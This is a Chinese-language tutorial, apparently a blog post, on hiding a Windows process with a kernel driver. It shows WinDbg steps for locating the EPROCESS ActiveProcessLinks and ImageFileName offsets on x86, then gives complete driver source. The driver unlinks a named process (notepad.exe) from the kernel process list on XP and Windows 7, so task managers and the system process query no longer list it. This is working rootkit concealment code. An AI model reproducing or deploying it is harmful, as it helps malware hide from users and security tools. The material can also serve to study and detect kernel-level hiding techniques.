首先,我們知道,進程體EPROCESS是被系統維護在一個雙向鏈表LIST_ENTRY中的,那么,我們只要把進程的EPROCESS從這個鏈表中摘除,就可以實現進程隱藏了,當然,這只能瞞過進程管理器和zwQuerySystemInformation,暴力枚舉依舊可以發現斷鏈隱藏的進程,因為進程體還在內存中,這個以后再說。
要隱藏我們指定的某個進程,我們肯定需要遍歷整個EPROCESS鏈表, 當EPROCESS對應的進程名與 我們所指定的進程的進程名一樣時,我們就把該EPROCESS從鏈表中移除。
這里。我們遇到兩個問題,:
1.既然要遍歷鏈表,我們就要知道每個結構的前后結構;
2.既然要對比進程名,我們就要知道進程名放在哪個地方;
以上兩個問題,借助Windbg,我們就可以解決
下面我們以x86為例:
在windbg中,我們先看一下EPROCESS的結構,輸入命令dt _EPROCESS,可以發現在偏移0x88處,有一個變量ActiveProcessLinks,它的類型為LIST_ENTRY
在輸入命令dt _LIST_ENTRY,查看LIST_ENTRY的結構,可以看到變量FLink和BLink,FLink指向當前節點的后一個節點的ActiveProcessLinks地址,BLink指向當前結點的前一個節點的ActiveProcessLinks地址
繼續往下,我們可以看到在偏移0x174處,出現了ImageFileName,這里存的就是我們要找的進程名
下面我們切入一個進程實際看一下 輸入命令!process 0 0,就可以顯示所有進程信息
然后,輸入命令dt _EPROCESS 895d6da0就可以切入進程smss.exe了
smss.exe的后一個結點的 ActiveProcessLinks就放在地址0x89a6d778中,用dd 0x89a6d778命令查看地址0x89a6d778中的內容,
注意,因為FLink指向當前節點的后一個節點的ActiveProcessLinks地址,所以后一個節點的EPROCESS地址為ActiveProcessLinks地址減去FLink偏移0x88
然后就可以找到smss.exe的下一個進程winlogon.exe了,這就印證了上面的截圖中看到smss.exe的下一個進程是winlogon.exe
這樣,我們就解決了我們所遇到的問題,對於x64,方法是一樣的,讀者可以自行練習。代碼如下:
1 #ifndef CXX_HIDEPROCESS_H 2 # include "HideProcess.h" 3 #endif 4 5 6 ULONG_PTR ActiveOffsetPre = 0; 7 ULONG_PTR ActiveOffsetNext = 0; 8 ULONG_PTR ImageName = 0; 9 WIN_VERSION WinVersion = WINDOWS_UNKNOW; 10 11 PLIST_ENTRY Temp = NULL; 12 PLIST_ENTRY HeadEntry = NULL; 13 NTSTATUS 14 DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath) 15 { 16 17 18 DbgPrint("DriverEntry\r\n"); 19 20 DriverObject->DriverUnload = UnloadDriver; 21 22 23 WinVersion = GetWindowsVersion(); 24 25 26 switch(WinVersion) 27 { 28 case WINDOWS_XP: //32Bits 29 { 30 31 ActiveOffsetPre = 0x8c; 32 ActiveOffsetNext = 0x88; 33 ImageName = 0x174; 34 break; 35 } 36 37 case WINDOWS_7: //64Bits 38 { 39 ActiveOffsetPre = 0x190; 40 ActiveOffsetNext = 0x188; 41 ImageName = 0x2e0; 42 break; 43 } 44 } 45 46 47 HideProcess("notepad.exe"); 48 49 HeadEntry = (PLIST_ENTRY)((ULONG_PTR)PsGetCurrentProcess()+ActiveOffsetNext);// 在DriverEntry中執行得到的才是System進程 50 51 return STATUS_SUCCESS; 52 53 } 54 55 VOID HideProcess(char* ProcessName) 56 { 57 PEPROCESS EProcessCurrent = NULL; 58 PEPROCESS EProcessPre = NULL; 59 60 61 EProcessCurrent = PsGetCurrentProcess(); //System EProcess 62 63 64 65 EProcessPre = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcessCurrent+ActiveOffsetPre)))-ActiveOffsetNext); 66 67 //DbgPrint("EProcessCurrent: 0x%p\r\n",EProcessCurrent); 68 69 //DbgPrint("EProcessNext: 0x%p\r\n",EProcessNext); 70 71 72 73 while (EProcessCurrent!=EProcessPre) 74 { 75 // DbgPrint("%s\r\n",(char*)((ULONG_PTR)EProcessCurrent+ImageName)); 76 77 78 if(strcmp((char*)((ULONG_PTR)EProcessCurrent+ImageName),ProcessName)==0) 79 { 80 81 82 Temp = (PLIST_ENTRY)((ULONG_PTR)EProcessCurrent+ActiveOffsetNext); 83 84 if (MmIsAddressValid(Temp)) 85 { 86 // Temp->Blink->Flink = Temp->Flink; 87 // Temp->Flink->Blink = Temp->Blink; //數據結構 不穩定 88 89 90 RemoveEntryList(Temp); 91 92 93 } 94 95 96 break; 97 } 98 99 EProcessCurrent = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcessCurrent+ActiveOffsetNext)))-ActiveOffsetNext); 100 101 102 } 103 } 104 105 VOID UnloadDriver(PDRIVER_OBJECT DriverObject) 106 { 107 ResumeProcess(); 108 DbgPrint("UnloadDriver\r\n"); 109 } 110 111 VOID ResumeProcess() 112 { 113 114 if(Temp!=NULL) 115 { 116 InsertHeadList(HeadEntry,Temp); 117 } 118 119 120 } 121 122 123 124 125 126 127 WIN_VERSION GetWindowsVersion() 128 { 129 RTL_OSVERSIONINFOEXW osverInfo = {sizeof(osverInfo)}; 130 pfnRtlGetVersion RtlGetVersion = NULL; 131 WIN_VERSION WinVersion; 132 WCHAR wzRtlGetVersion[] = L"RtlGetVersion"; 133 134 RtlGetVersion = GetFunctionAddressByName(wzRtlGetVersion); //Ntoskrnl.exe 導出表 135 if (RtlGetVersion) 136 { 137 RtlGetVersion((PRTL_OSVERSIONINFOW)&osverInfo); 138 } 139 else 140 { 141 PsGetVersion(&osverInfo.dwMajorVersion, &osverInfo.dwMinorVersion, &osverInfo.dwBuildNumber, NULL); //Documet 142 } 143 144 DbgPrint("Build Number: %d\r\n", osverInfo.dwBuildNumber); 145 146 if (osverInfo.dwMajorVersion == 5 && osverInfo.dwMinorVersion == 1) 147 { 148 DbgPrint("WINDOWS_XP\r\n"); 149 WinVersion = WINDOWS_XP; 150 } 151 else if (osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 1) 152 { 153 DbgPrint("WINDOWS 7\r\n"); 154 WinVersion = WINDOWS_7; 155 } 156 else if (osverInfo.dwMajorVersion == 6 && 157 osverInfo.dwMinorVersion == 2 && 158 osverInfo.dwBuildNumber == 9200) 159 { 160 DbgPrint("WINDOWS 8\r\n"); 161 WinVersion = WINDOWS_8; 162 } 163 else if (osverInfo.dwMajorVersion == 6 && 164 osverInfo.dwMinorVersion == 3 && 165 osverInfo.dwBuildNumber == 9600) 166 { 167 DbgPrint("WINDOWS 8.1\r\n"); 168 WinVersion = WINDOWS_8_1; 169 } 170 else 171 { 172 DbgPrint("WINDOWS_UNKNOW\r\n"); 173 WinVersion = WINDOWS_UNKNOW; 174 } 175 176 return WinVersion; 177 } 178 179 180 PVOID 181 GetFunctionAddressByName(WCHAR *wzFunction) 182 { 183 UNICODE_STRING uniFunction; 184 PVOID AddrBase = NULL; 185 186 if (wzFunction && wcslen(wzFunction) > 0) 187 { 188 RtlInitUnicodeString(&uniFunction, wzFunction); //常量指針 189 AddrBase = MmGetSystemRoutineAddress(&uniFunction); //在System 進程 第一個模塊 Ntosknrl.exe ExportTable 190 } 191 192 return AddrBase; 193 }